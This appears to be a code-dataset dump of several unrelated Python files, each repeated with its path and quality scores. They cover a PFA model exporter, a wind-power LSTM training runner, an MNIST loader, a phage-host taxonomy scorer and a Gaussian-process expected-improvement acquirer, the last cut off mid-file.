Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
TreeNode = record(TreeNode,
feature: int,
operator: string,
value: double,
pass: union(double, TreeNode),
fail: union(double, TreeNode));
Row = record(Row, values: array(double));
Input = {input_record}
input: Input
output: string
cells:
classes(array(string)) = [];
// set of trees for each class
classesTrees(array(array(TreeNode))) = [];
// model priors to which tree predictions are added
priors(array(double)) = [];
learningRate(double) = 0.0;
fcns:
{functions}
action:
var x = {featurizer};
var row = new(Row, values: x);
// trees activations
var activations = a.map(classesTrees, fcn(trees: array(TreeNode) -> double) {{
var scores = a.map(trees, fcn(tree: TreeNode -> double) {{
model.tree.simpleWalk(row, tree, fcn(d: Row, t: TreeNode -> boolean) {{
d.values[t.feature] <= t.value
}})
}});
learningRate * a.sum(scores)
}});
// add priors
activations = la.add(priors, activations);
// probabilities
var norm = a.logsumexp(activations);
var probs = a.map(activations, fcn(x: double -> double) m.exp(x - norm));
classes[a.argmax(probs)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
tree_dicts = [[make_tree(tree.tree_)['TreeNode'] for tree in trees] for trees in estimator.estimators_.T]
pfa["cells"]["classesTrees"]["init"] = tree_dicts
pfa['cells']['classes']['init'] = list(estimator.classes_)
pfa['cells']['priors']['init'] = list(estimator.init_.priors)
pfa['cells']['learningRate']['init'] = estimator.learning_rate
return pfa
def _construct_featurizer(types):
inputs = []
for name, typ in types:
if typ == 'int':
inputs.append('cast.double(input.{})'.format(name))
else:
inputs.append('input.{}'.format(name))
return """
new(array(double),
{inputs}
)
""".format(inputs=',\n'.join(inputs)).strip()
def _input_record(types):
s = 'record(Input'
for name, typ in types:
s += ',\n {}: {}'.format(name, typ)
return s + '\n);'
def _fix_types_compatibility(types):
new_types = []
for name, typ in types:
if typ == 'real':
typ = 'double'
elif typ == 'integer':
typ = 'int'
elif typ in ('polynominal', 'binominal'):
typ = 'string'
new_types.append((name, typ))
return new_types
def _functions():
return """
arr = fcn(x: double -> array(double))
new(array(double), x);
C = fcn(x: string, categories: array(string) -> array(double))
a.map(categories, fcn(cat: string -> double) if(cat == x) 1 else 0);
standardize = fcn(x: double, mu: double, sigma: double -> double)
(x - mu) / sigma;
""".strip() | 0.740737 | 0.396828 |
import sys
import os
import ast
if "--silent" in sys.argv:
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
if "--cpu" in sys.argv or "--cpu_only" in sys.argv:
os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
from math import sqrt
from argparse import ArgumentParser, Namespace
from datetime import datetime, timedelta
from time import perf_counter
from itertools import product
import pandas as pd
import numpy as np
import subprocess
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from keras.models import Model
from sklearn.model_selection import train_test_split
from dataset import load_dataset
from configuration import ConfigEntry, generate_configurations
from utils.df_writer import df_writer
from utils.tabularize import tabularize_dataframe
from utils.webhook import (
send_webhook_message,
webhook_report,
stderr_to_webhook,
)
from utils import (
ensure_path,
cprint,
colored,
namespace_to_args,
to_args,
print_args,
)
from train_model import train_model
from test_model import test_model
PYTHON_PATH = sys.executable or "python"
WINDOW_SIZE = 55
HORIZON_SIZE = 1
TIME_UNIT = "1min"
FEATURE_NAMES = []
TARGET_FEATURES = ["active power"]
NUM_EPOCHS = 100
BATCH_SIZE = 32
TEST_SPLIT = 0.2
VALIDATION_SPLIT = 0.2
MEMORY_LIMIT = 7000
TRAIN_METRICS = ["MSE", "R2"]
def main(args: Namespace, argparser: ArgumentParser):
"""Run all models on all configurations."""
log_extra = print if not args.silent else lambda *_: None
if not args.silent:
webhook_report()
configs = generate_configurations(
time_unit=args.time_unit,
window_size=args.window_size,
horizon_size=args.horizon_size,
jump=args.jump,
feature_names=args.features or [["*"]],
target_features=args.target or [TARGET_FEATURES],
)
models = args.model
time_str = datetime.now().strftime("%Y%m%d-%H%M%S")
log_path = ensure_path(args.log_path) if args.log_path else None
results, append_result = df_writer(log_path)
if log_path:
log_extra(f"Saving results to: '{log_path}'\n")
conf_model_pairs = list(product(configs, models))
if len(conf_model_pairs) > 1:
log_extra(
f"Configurations: {len(configs)}\nModels: {', '.join(models)}\n"
)
start_time = perf_counter()
if len(conf_model_pairs) == 1:
with stderr_to_webhook():
conf, model_name = conf_model_pairs[0]
log_extra(f"Configuration: {conf}")
set_gpu_limit(args.mem_limit)
append_result(_run_configuration(conf, model_name, args))
else:
for conf, model_name in conf_model_pairs:
append_result(
_run_subprocess(model_name, conf, time_str, args, argparser)
)
end_time = perf_counter()
elapsed_time = timedelta(seconds=end_time - start_time)
cost = None
stats = []
if results:
if args.printout:
print_result(results)
all_costs = [calculate_cost(result) for result in results]
final_result = results[np.argmin(all_costs)]
cost = min(all_costs)
stats = [f"{final_result['model']}"] + [
f"{key}: {final_result[key]:.6g}"
for key in ["test_RMSE", "test_R2", "inv_RMSE"]
if key in final_result
]
if not args.silent:
msg = [
"Finished training!",
f"Configurations: {configs[0] if len(configs) == 1 else len(configs)}",
f"Models: {', '.join(models)}",
f"Elapsed time: `{elapsed_time}`",
]
if stats:
msg += [f"Result: `{' - '.join(stats)}`"]
if log_path:
msg += [
f"Results saved to `{log_path}`:",
"```",
csv_description(log_path),
"```",
]
send_webhook_message("\n".join(msg), use_print=True)
cprint(f"Cost: {cost} ({' - '.join(stats)})", "green")
def calculate_cost(result: dict):
w1, w2 = 10.0, 1.0
m1, m2 = result["test_RMSE"], 1 - result["test_R2"]
p1, p2 = m1 * w1, m2 * w2
return p1 + p2
IGNORED_COLUMNS = [
"preprocessor",
"time_unit",
"window_size",
"horizon_size",
"jump",
"feature_names",
"target_features",
]
def print_result(results: list[dict]):
df = pd.DataFrame(results)
df = df.drop(IGNORED_COLUMNS, axis=1, errors="ignore")
df = df.to_string(index=False)
cprint(df, "grey", attrs=["bold"])
def csv_description(file_path: str):
df = pd.read_csv(file_path)
df = df.drop(IGNORED_COLUMNS, axis=1, errors="ignore")
df = df.describe()
df = df.transpose()
df = df.drop("count", axis=1)
return str(df)
def _run_subprocess(
model_name: str,
conf: ConfigEntry,
time_str: str,
args: Namespace,
argparser: ArgumentParser,
):
temp_log_path = f"logs/config/temp/{time_str}_{model_name}.csv"
kwargs = {
**namespace_to_args(args, parser=argparser),
**dict(
model=model_name,
window_size=conf.window_size,
horizon_size=conf.horizon_size,
jump=conf.jump,
time_unit=conf.time_unit,
features=conf.feature_names,
target=conf.target_features,
log_path=temp_log_path,
silent=True,
),
}
cmd_args = to_args(PYTHON_PATH, "-m", "windpower.batch", **kwargs)
print_args(cmd_args)
subprocess.run(cmd_args, check=True)
if not os.path.exists(temp_log_path):
return None
df = pd.read_csv(temp_log_path)
result = {
key: (
ast.literal_eval(value[0])
if key in ["feature_names", "target_features"]
else value[0]
)
for key, value in df.to_dict().items()
}
os.remove(temp_log_path)
return result
def set_gpu_limit(mem_limit: int = MEMORY_LIMIT):
from tensorflow.config.experimental import ( # type: ignore
list_physical_devices,
set_virtual_device_configuration,
VirtualDeviceConfiguration,
)
gpus = list_physical_devices("GPU")
if gpus:
try:
set_virtual_device_configuration(
gpus[0],
[VirtualDeviceConfiguration(memory_limit=mem_limit)],
)
except RuntimeError as e:
cprint(e, "red")
def _run_configuration(conf: ConfigEntry, model_name: str, args: Namespace):
import ml_models
from keras.backend import clear_session
df = load_dataset(conf.time_unit, conf.preprocessor)
if conf.feature_names == ["*"]:
conf = conf.replace(feature_names=list(df.columns))
X, y = tabularize_dataframe(
df,
conf.window_size,
conf.target_features,
conf.feature_names,
conf.horizon_size,
conf.jump,
)
model_generator = getattr(ml_models, model_name)
model = model_generator(
input_shape=(conf.window_size, len(conf.feature_names)),
output_shape=(conf.horizon_size, len(conf.target_features)),
metrics=TRAIN_METRICS,
)
if not args.silent:
print(model.summary())
print("X:", X.shape, "y:", y.shape)
result = _run_model(model, X, y, conf, args)
clear_session()
return result
def _run_model(
model: "Model",
X: np.ndarray,
y: np.ndarray,
conf: ConfigEntry,
args: Namespace,
):
if args.limit >= 0:
X, y = X[: args.limit], y[: args.limit]
X_train, X_test, y_train, y_test = train_test_split(
X, y, test_size=args.test_split, shuffle=False
)
train_results = train_model(model, X_train, y_train, conf, args)
test_results = test_model(model, X_test, y_test, conf)
result = {
"model": model.name,
**conf.to_dict(),
**train_results,
**test_results,
}
lookup = [
("train", train_results),
("valid", train_results),
("test", test_results),
]
for cat, results in lookup:
if f"{cat}_MSE" in results:
result[f"{cat}_RMSE"] = sqrt(results[f"{cat}_MSE"])
if args.run_id >= 0:
result = {"run_id": args.run_id, **result}
return result
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument(
"--model",
"-m",
nargs="*",
default=["lstm_64"],
help="Names of the models to train on",
)
parser.add_argument(
"--window_size",
"-p",
type=int,
nargs="*",
default=[WINDOW_SIZE],
help="The number of predictors.",
)
parser.add_argument(
"--horizon_size",
"-k",
type=int,
nargs="*",
default=[HORIZON_SIZE],
help="The number of predictions.",
)
parser.add_argument(
"--jump",
"-j",
type=int,
nargs="*",
default=[0],
help="The distance between the window and the horizon.",
)
parser.add_argument(
"--time_unit",
"-u",
nargs="*",
default=[TIME_UNIT],
help="The resample frequency.",
)
parser.add_argument(
"--features",
"-f",
nargs="+",
action="append",
help="The names of the features to use.",
)
parser.add_argument(
"--target",
"-t",
nargs="+",
action="append",
help="The name(s) of the features to predict.",
)
parser.add_argument(
"--epochs",
"-e",
type=int,
default=NUM_EPOCHS,
help="The number of training epochs for each model.",
)
parser.add_argument(
"--batch_size",
"-b",
type=int,
default=BATCH_SIZE,
help="The number of examples in a batch.",
)
parser.add_argument(
"--test_split",
type=float,
default=TEST_SPLIT,
help="The percentage of the data to use for testing.",
)
parser.add_argument(
"--valid_split",
type=float,
default=VALIDATION_SPLIT,
help="The percentage of the training data to use for validation.",
)
parser.add_argument(
"--limit",
type=int,
default=-1,
help="Limit the number of window frames to include.",
)
parser.add_argument(
"--log_path",
type=str,
default=None,
help="Specify the file path for the result's CSV file.",
)
parser.add_argument(
"--run_id",
type=int,
default=-1,
help="ID to include in log entries.",
)
parser.add_argument(
"--silent",
action="store_true",
help="Add this flag if console output should be minimal.",
)
parser.add_argument(
"--mem_limit",
type=int,
default=MEMORY_LIMIT,
help="The GPU memory limit.",
)
parser.add_argument(
"--progress",
action="store_true",
help="Enable progressbar and output stats.",
)
parser.add_argument(
"--tensorboard=off",
action="store_false",
dest="tensorboard",
help="Disable the TensorBoard callback.",
)
parser.add_argument(
"--printout=off",
action="store_false",
dest="printout",
help="Disable printout.",
)
parser.add_argument(
"--cpu_only",
"--cpu",
action="store_true",
help="Run only on CPU.",
)
parser.set_defaults(printout=True, tensorboard=True)
main(parser.parse_args(), parser) | windpower/batch/__main__.py | import sys
import os
import ast
if "--silent" in sys.argv:
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
if "--cpu" in sys.argv or "--cpu_only" in sys.argv:
os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
from math import sqrt
from argparse import ArgumentParser, Namespace
from datetime import datetime, timedelta
from time import perf_counter
from itertools import product
import pandas as pd
import numpy as np
import subprocess
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from keras.models import Model
from sklearn.model_selection import train_test_split
from dataset import load_dataset
from configuration import ConfigEntry, generate_configurations
from utils.df_writer import df_writer
from utils.tabularize import tabularize_dataframe
from utils.webhook import (
send_webhook_message,
webhook_report,
stderr_to_webhook,
)
from utils import (
ensure_path,
cprint,
colored,
namespace_to_args,
to_args,
print_args,
)
from train_model import train_model
from test_model import test_model
PYTHON_PATH = sys.executable or "python"
WINDOW_SIZE = 55
HORIZON_SIZE = 1
TIME_UNIT = "1min"
FEATURE_NAMES = []
TARGET_FEATURES = ["active power"]
NUM_EPOCHS = 100
BATCH_SIZE = 32
TEST_SPLIT = 0.2
VALIDATION_SPLIT = 0.2
MEMORY_LIMIT = 7000
TRAIN_METRICS = ["MSE", "R2"]
def main(args: Namespace, argparser: ArgumentParser):
"""Run all models on all configurations."""
log_extra = print if not args.silent else lambda *_: None
if not args.silent:
webhook_report()
configs = generate_configurations(
time_unit=args.time_unit,
window_size=args.window_size,
horizon_size=args.horizon_size,
jump=args.jump,
feature_names=args.features or [["*"]],
target_features=args.target or [TARGET_FEATURES],
)
models = args.model
time_str = datetime.now().strftime("%Y%m%d-%H%M%S")
log_path = ensure_path(args.log_path) if args.log_path else None
results, append_result = df_writer(log_path)
if log_path:
log_extra(f"Saving results to: '{log_path}'\n")
conf_model_pairs = list(product(configs, models))
if len(conf_model_pairs) > 1:
log_extra(
f"Configurations: {len(configs)}\nModels: {', '.join(models)}\n"
)
start_time = perf_counter()
if len(conf_model_pairs) == 1:
with stderr_to_webhook():
conf, model_name = conf_model_pairs[0]
log_extra(f"Configuration: {conf}")
set_gpu_limit(args.mem_limit)
append_result(_run_configuration(conf, model_name, args))
else:
for conf, model_name in conf_model_pairs:
append_result(
_run_subprocess(model_name, conf, time_str, args, argparser)
)
end_time = perf_counter()
elapsed_time = timedelta(seconds=end_time - start_time)
cost = None
stats = []
if results:
if args.printout:
print_result(results)
all_costs = [calculate_cost(result) for result in results]
final_result = results[np.argmin(all_costs)]
cost = min(all_costs)
stats = [f"{final_result['model']}"] + [
f"{key}: {final_result[key]:.6g}"
for key in ["test_RMSE", "test_R2", "inv_RMSE"]
if key in final_result
]
if not args.silent:
msg = [
"Finished training!",
f"Configurations: {configs[0] if len(configs) == 1 else len(configs)}",
f"Models: {', '.join(models)}",
f"Elapsed time: `{elapsed_time}`",
]
if stats:
msg += [f"Result: `{' - '.join(stats)}`"]
if log_path:
msg += [
f"Results saved to `{log_path}`:",
"```",
csv_description(log_path),
"```",
]
send_webhook_message("\n".join(msg), use_print=True)
cprint(f"Cost: {cost} ({' - '.join(stats)})", "green")
def calculate_cost(result: dict):
w1, w2 = 10.0, 1.0
m1, m2 = result["test_RMSE"], 1 - result["test_R2"]
p1, p2 = m1 * w1, m2 * w2
return p1 + p2
IGNORED_COLUMNS = [
"preprocessor",
"time_unit",
"window_size",
"horizon_size",
"jump",
"feature_names",
"target_features",
]
def print_result(results: list[dict]):
df = pd.DataFrame(results)
df = df.drop(IGNORED_COLUMNS, axis=1, errors="ignore")
df = df.to_string(index=False)
cprint(df, "grey", attrs=["bold"])
def csv_description(file_path: str):
df = pd.read_csv(file_path)
df = df.drop(IGNORED_COLUMNS, axis=1, errors="ignore")
df = df.describe()
df = df.transpose()
df = df.drop("count", axis=1)
return str(df)
def _run_subprocess(
model_name: str,
conf: ConfigEntry,
time_str: str,
args: Namespace,
argparser: ArgumentParser,
):
temp_log_path = f"logs/config/temp/{time_str}_{model_name}.csv"
kwargs = {
**namespace_to_args(args, parser=argparser),
**dict(
model=model_name,
window_size=conf.window_size,
horizon_size=conf.horizon_size,
jump=conf.jump,
time_unit=conf.time_unit,
features=conf.feature_names,
target=conf.target_features,
log_path=temp_log_path,
silent=True,
),
}
cmd_args = to_args(PYTHON_PATH, "-m", "windpower.batch", **kwargs)
print_args(cmd_args)
subprocess.run(cmd_args, check=True)
if not os.path.exists(temp_log_path):
return None
df = pd.read_csv(temp_log_path)
result = {
key: (
ast.literal_eval(value[0])
if key in ["feature_names", "target_features"]
else value[0]
)
for key, value in df.to_dict().items()
}
os.remove(temp_log_path)
return result
def set_gpu_limit(mem_limit: int = MEMORY_LIMIT):
from tensorflow.config.experimental import ( # type: ignore
list_physical_devices,
set_virtual_device_configuration,
VirtualDeviceConfiguration,
)
gpus = list_physical_devices("GPU")
if gpus:
try:
set_virtual_device_configuration(
gpus[0],
[VirtualDeviceConfiguration(memory_limit=mem_limit)],
)
except RuntimeError as e:
cprint(e, "red")
def _run_configuration(conf: ConfigEntry, model_name: str, args: Namespace):
import ml_models
from keras.backend import clear_session
df = load_dataset(conf.time_unit, conf.preprocessor)
if conf.feature_names == ["*"]:
conf = conf.replace(feature_names=list(df.columns))
X, y = tabularize_dataframe(
df,
conf.window_size,
conf.target_features,
conf.feature_names,
conf.horizon_size,
conf.jump,
)
model_generator = getattr(ml_models, model_name)
model = model_generator(
input_shape=(conf.window_size, len(conf.feature_names)),
output_shape=(conf.horizon_size, len(conf.target_features)),
metrics=TRAIN_METRICS,
)
if not args.silent:
print(model.summary())
print("X:", X.shape, "y:", y.shape)
result = _run_model(model, X, y, conf, args)
clear_session()
return result
def _run_model(
model: "Model",
X: np.ndarray,
y: np.ndarray,
conf: ConfigEntry,
args: Namespace,
):
if args.limit >= 0:
X, y = X[: args.limit], y[: args.limit]
X_train, X_test, y_train, y_test = train_test_split(
X, y, test_size=args.test_split, shuffle=False
)
train_results = train_model(model, X_train, y_train, conf, args)
test_results = test_model(model, X_test, y_test, conf)
result = {
"model": model.name,
**conf.to_dict(),
**train_results,
**test_results,
}
lookup = [
("train", train_results),
("valid", train_results),
("test", test_results),
]
for cat, results in lookup:
if f"{cat}_MSE" in results:
result[f"{cat}_RMSE"] = sqrt(results[f"{cat}_MSE"])
if args.run_id >= 0:
result = {"run_id": args.run_id, **result}
return result
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument(
"--model",
"-m",
nargs="*",
default=["lstm_64"],
help="Names of the models to train on",
)
parser.add_argument(
"--window_size",
"-p",
type=int,
nargs="*",
default=[WINDOW_SIZE],
help="The number of predictors.",
)
parser.add_argument(
"--horizon_size",
"-k",
type=int,
nargs="*",
default=[HORIZON_SIZE],
help="The number of predictions.",
)
parser.add_argument(
"--jump",
"-j",
type=int,
nargs="*",
default=[0],
help="The distance between the window and the horizon.",
)
parser.add_argument(
"--time_unit",
"-u",
nargs="*",
default=[TIME_UNIT],
help="The resample frequency.",
)
parser.add_argument(
"--features",
"-f",
nargs="+",
action="append",
help="The names of the features to use.",
)
parser.add_argument(
"--target",
"-t",
nargs="+",
action="append",
help="The name(s) of the features to predict.",
)
parser.add_argument(
"--epochs",
"-e",
type=int,
default=NUM_EPOCHS,
help="The number of training epochs for each model.",
)
parser.add_argument(
"--batch_size",
"-b",
type=int,
default=BATCH_SIZE,
help="The number of examples in a batch.",
)
parser.add_argument(
"--test_split",
type=float,
default=TEST_SPLIT,
help="The percentage of the data to use for testing.",
)
parser.add_argument(
"--valid_split",
type=float,
default=VALIDATION_SPLIT,
help="The percentage of the training data to use for validation.",
)
parser.add_argument(
"--limit",
type=int,
default=-1,
help="Limit the number of window frames to include.",
)
parser.add_argument(
"--log_path",
type=str,
default=None,
help="Specify the file path for the result's CSV file.",
)
parser.add_argument(
"--run_id",
type=int,
default=-1,
help="ID to include in log entries.",
)
parser.add_argument(
"--silent",
action="store_true",
help="Add this flag if console output should be minimal.",
)
parser.add_argument(
"--mem_limit",
type=int,
default=MEMORY_LIMIT,
help="The GPU memory limit.",
)
parser.add_argument(
"--progress",
action="store_true",
help="Enable progressbar and output stats.",
)
parser.add_argument(
"--tensorboard=off",
action="store_false",
dest="tensorboard",
help="Disable the TensorBoard callback.",
)
parser.add_argument(
"--printout=off",
action="store_false",
dest="printout",
help="Disable printout.",
)
parser.add_argument(
"--cpu_only",
"--cpu",
action="store_true",
help="Run only on CPU.",
)
parser.set_defaults(printout=True, tensorboard=True)
main(parser.parse_args(), parser) | 0.388154 | 0.237443 |
import os
import numpy as np
import struct
class MNISTChurner:
def __init__(self, data_path):
"""
initializes object with mnist data path
:param data_path:
"""
print("Loading dataset path")
self.train_data_path = os.path.join(data_path, "train-images.idx3-ubyte")
self.train_label_path = os.path.join(data_path, "train-labels.idx1-ubyte")
self.test_data_path = os.path.join(data_path, "t10k-images.idx3-ubyte")
self.test_label_path = os.path.join(data_path, "t10k-labels.idx1-ubyte")
print("Dataset path loaded successfully")
def get_train_data(self):
with open(self.train_data_path, 'rb') as train_img:
magic, num, rows, cols = struct.unpack(">IIII", train_img.read(16))
img = np.fromfile(train_img, dtype=np.uint8)
img_array = img.reshape(num, rows, cols, 1)
with open(self.train_label_path, 'rb') as train_label:
magic, num = struct.unpack(">II", train_label.read(8))
label = np.fromfile(train_label, dtype=np.uint8).reshape(num, 1)
label_one_hot = []
# convert label to one hot
for i in range(label.shape[0]):
cur_label = label[i]
label_one_hot.append([1 if i == cur_label else 0 for i in range(10)])
label = np.asarray(label_one_hot)
return img_array, label
def get_test_data(self):
with open(self.test_data_path, 'rb') as test_img:
magic, num, rows, cols = struct.unpack(">IIII", test_img.read(16))
img = np.fromfile(test_img, dtype=np.uint8)
img_array = img.reshape(num, rows, cols, 1)
with open(self.test_label_path, 'rb') as test_label:
magic, num = struct.unpack(">II", test_label.read(8))
label = np.fromfile(test_label, dtype=np.uint8).reshape(num, 1)
label_one_hot = []
for i in range(label.shape[0]):
cur_label = label[i]
label_one_hot.append([1 if i == cur_label else 0 for i in range(10)])
label = np.asarray(label_one_hot)
return img_array, label | dataset_reader.py | import os
import numpy as np
import struct
class MNISTChurner:
def __init__(self, data_path):
"""
initializes object with mnist data path
:param data_path:
"""
print("Loading dataset path")
self.train_data_path = os.path.join(data_path, "train-images.idx3-ubyte")
self.train_label_path = os.path.join(data_path, "train-labels.idx1-ubyte")
self.test_data_path = os.path.join(data_path, "t10k-images.idx3-ubyte")
self.test_label_path = os.path.join(data_path, "t10k-labels.idx1-ubyte")
print("Dataset path loaded successfully")
def get_train_data(self):
with open(self.train_data_path, 'rb') as train_img:
magic, num, rows, cols = struct.unpack(">IIII", train_img.read(16))
img = np.fromfile(train_img, dtype=np.uint8)
img_array = img.reshape(num, rows, cols, 1)
with open(self.train_label_path, 'rb') as train_label:
magic, num = struct.unpack(">II", train_label.read(8))
label = np.fromfile(train_label, dtype=np.uint8).reshape(num, 1)
label_one_hot = []
# convert label to one hot
for i in range(label.shape[0]):
cur_label = label[i]
label_one_hot.append([1 if i == cur_label else 0 for i in range(10)])
label = np.asarray(label_one_hot)
return img_array, label
def get_test_data(self):
with open(self.test_data_path, 'rb') as test_img:
magic, num, rows, cols = struct.unpack(">IIII", test_img.read(16))
img = np.fromfile(test_img, dtype=np.uint8)
img_array = img.reshape(num, rows, cols, 1)
with open(self.test_label_path, 'rb') as test_label:
magic, num = struct.unpack(">II", test_label.read(8))
label = np.fromfile(test_label, dtype=np.uint8).reshape(num, 1)
label_one_hot = []
for i in range(label.shape[0]):
cur_label = label[i]
label_one_hot.append([1 if i == cur_label else 0 for i in range(10)])
label = np.asarray(label_one_hot)
return img_array, label | 0.366136 | 0.346458 |
import sys
import os
usage = '''<file> <max position> <threshold>
The file should be the ncnc.score.tsv file that has the following columns:
posistion phage bacteria metric species genus family order class phylum
The max position is the maximum allowable position to include in the score
and we use this value or lower as the max (so use 1 to get only the top
hits).
The threshold is the minimum metric for which we score a successful match.
We use > threshold as the limit (so that you can use 0 as a valid input
to choose non-zero values).
'''
try:
f=sys.argv[1]
maxposn = int(sys.argv[2])
threshold = float(sys.argv[3])
except:
sys.exit(sys.argv[0] + usage)
phage = {}
hostsperphage = {}
taxonomy = ['species', 'genus', 'family', 'order', 'class', 'phylum']
cols = {}
for i in range(len(taxonomy)):
cols[i+4] = taxonomy[i]
with open(f, 'r') as fin:
for l in fin:
if l.startswith("Phage"):
continue
p=l.strip().split("\t")
if len(p) != 10 and len(p) != 11:
sys.exit("the line \n" + l + "does not have enough columns. It only has " + str(len(p)) + ". Is this the right file?\n")
if p[1] not in phage:
phage[p[1]]=set()
hostsperphage[p[1]]=0
if int(p[0]) > maxposn:
continue
if float(p[3]) <= threshold:
continue
hostsperphage[p[1]] += 1
for c in cols:
if int(p[c]) == 1:
phage[p[1]].add(cols[c])
elif int(p[c]) != 0:
sys.stderr.write("Got neither a 0 nor a 1 for column " + str(c) + " in " + l)
correct = {}
incorrect = {}
for v in cols.values():
correct[v] = 0
incorrect[v] = 0
for p in phage:
for v in cols.values():
if v in phage[p]:
correct[v] += 1
else:
incorrect[v] += 1
print("Taxonomic level\tCorrect Assignments\tIncorrect Assignments\tTotal Assignments\tPercent Correct")
for t in taxonomy:
c = "%0.2f" % ((1.0 * correct[t] / (incorrect[t] + correct[t])) * 100)
print(t + "\t" + str(correct[t]) + "\t" +
str(incorrect[t]) + "\t" + str(correct[t] + incorrect[t]) +
"\t" + str(c))
print("\n")
hpp = hostsperphage.values()
nhpp = "%0.2f" % (1.0 * sum(hpp) / len(hpp))
print("with an average of " + str(nhpp) + " hosts per phage") | code/summarize_ncnc.py | import sys
import os
usage = '''<file> <max position> <threshold>
The file should be the ncnc.score.tsv file that has the following columns:
posistion phage bacteria metric species genus family order class phylum
The max position is the maximum allowable position to include in the score
and we use this value or lower as the max (so use 1 to get only the top
hits).
The threshold is the minimum metric for which we score a successful match.
We use > threshold as the limit (so that you can use 0 as a valid input
to choose non-zero values).
'''
try:
f=sys.argv[1]
maxposn = int(sys.argv[2])
threshold = float(sys.argv[3])
except:
sys.exit(sys.argv[0] + usage)
phage = {}
hostsperphage = {}
taxonomy = ['species', 'genus', 'family', 'order', 'class', 'phylum']
cols = {}
for i in range(len(taxonomy)):
cols[i+4] = taxonomy[i]
with open(f, 'r') as fin:
for l in fin:
if l.startswith("Phage"):
continue
p=l.strip().split("\t")
if len(p) != 10 and len(p) != 11:
sys.exit("the line \n" + l + "does not have enough columns. It only has " + str(len(p)) + ". Is this the right file?\n")
if p[1] not in phage:
phage[p[1]]=set()
hostsperphage[p[1]]=0
if int(p[0]) > maxposn:
continue
if float(p[3]) <= threshold:
continue
hostsperphage[p[1]] += 1
for c in cols:
if int(p[c]) == 1:
phage[p[1]].add(cols[c])
elif int(p[c]) != 0:
sys.stderr.write("Got neither a 0 nor a 1 for column " + str(c) + " in " + l)
correct = {}
incorrect = {}
for v in cols.values():
correct[v] = 0
incorrect[v] = 0
for p in phage:
for v in cols.values():
if v in phage[p]:
correct[v] += 1
else:
incorrect[v] += 1
print("Taxonomic level\tCorrect Assignments\tIncorrect Assignments\tTotal Assignments\tPercent Correct")
for t in taxonomy:
c = "%0.2f" % ((1.0 * correct[t] / (incorrect[t] + correct[t])) * 100)
print(t + "\t" + str(correct[t]) + "\t" +
str(incorrect[t]) + "\t" + str(correct[t] + incorrect[t]) +
"\t" + str(c))
print("\n")
hpp = hostsperphage.values()
nhpp = "%0.2f" % (1.0 * sum(hpp) / len(hpp))
print("with an average of " + str(nhpp) + " hosts per phage") | 0.235988 | 0.586049 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
from scipy.stats import norm
from . import Acquirer
__all__ = [
'ExpectedImprovementAcquirer',
]
def preprocess_data(data):
"""
Preprocess preference data for use in model.
Parameters
----------
data : PreferenceDict
A PreferenceDict object.
Returns
-------
X : np.array, shape (N, D)
The preference items.
y : dict
Mapping from indices corresponding to items (rows) in X to preferences.
For instance, {(0, 1): 1} means that X[0] is preferred over X[1].
"""
preferences = sorted(data.preferences())
ix = {k: v for v, k in enumerate(preferences)}
X = np.array(preferences)
y = {(ix[a], ix[b]): v for (a, b), v in data.items()}
return X, y
def expected_improvement(mu, std, best_f):
"""
Compute the expected improvement at given point(s).
Parameters
----------
mu : float or np.array
Mean of Gaussian process at given point(s).
std : float or np.array
Standard deviation of Gaussian process at given point(s).
best_f : float
Current maximum.
Returns
-------
ei : float or np.array
Expected improvement at given point(s).
"""
mu = np.array(mu)
std = np.array(std)
if (std < 0).any():
raise ValueError("stddev cannot be negative: {}".format(std))
mask = std > 0
d = np.where(mask, (mu - best_f) / std, 0.0)
z = norm()
return np.where(mask, (mu - best_f) * z.cdf(d) + std * z.pdf(d), 0.0)
class ExpectedImprovementAcquirer(Acquirer):
"""
Expected improvement acquirer for Gaussian process model.
Parameters
----------
data : PreferenceDict
A PreferenceDict object.
model : PreferenceModel
A PreferenceModel object.
optimizer : AcquisitionOptimizer
An AcquisitionOptimizer object.
"""
def __init__(self, data, model, optimizer):
self.data = data
self.model = model
self.optimizer = optimizer
self._next = None
self._best = None
self._valuations = None
@property
def next(self):
if self._next is None:
# preprocess data
X, y = preprocess_data(self.data)
# infer posterior
self.model.fit(X, y)
# determine current best
f = self.model.mean(X)
self._valuations = [(tuple(x), fx) for x, fx in zip(X, f)]
best_ix = np.argmax(f)
best_f = f[best_ix]
self._best = tuple(X[best_ix])
# find highest-value item
def func(x):
if x.ndim == 1:
x = [x]
mean = self.model.mean(x)
std = np.sqrt(self.model.variance(x))
return expected_improvement(mean, std, best_f)
self._next = tuple(self.optimizer.maximize(func))
return self._next
@property
def best(self):
if self._best is None:
msg = "call `next` before `best`"
raise ValueError(msg)
return self._best
@property
def valuations(self):
if self._valuations is None:
msg = "call `next` before `valuations`"
raise ValueError(msg)
return self._valuations
def update(self, r, c, preference):
# reset `next`
self._next = None
# add new preference
self.data[r, c] = preference | src/prefopt/acquisition/expected_improvement.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
from scipy.stats import norm
from . import Acquirer
__all__ = [
'ExpectedImprovementAcquirer',
]
def preprocess_data(data):
"""
Preprocess preference data for use in model.
Parameters
----------
data : PreferenceDict
A PreferenceDict object.
Returns
-------
X : np.array, shape (N, D)
The preference items.
y : dict
Mapping from indices corresponding to items (rows) in X to preferences.
For instance, {(0, 1): 1} means that X[0] is preferred over X[1].
"""
preferences = sorted(data.preferences())
ix = {k: v for v, k in enumerate(preferences)}
X = np.array(preferences)
y = {(ix[a], ix[b]): v for (a, b), v in data.items()}
return X, y
def expected_improvement(mu, std, best_f):
"""
Compute the expected improvement at given point(s).
Parameters
----------
mu : float or np.array
Mean of Gaussian process at given point(s).
std : float or np.array
Standard deviation of Gaussian process at given point(s).
best_f : float
Current maximum.
Returns
-------
ei : float or np.array
Expected improvement at given point(s).
"""
mu = np.array(mu)
std = np.array(std)
if (std < 0).any():
raise ValueError("stddev cannot be negative: {}".format(std))
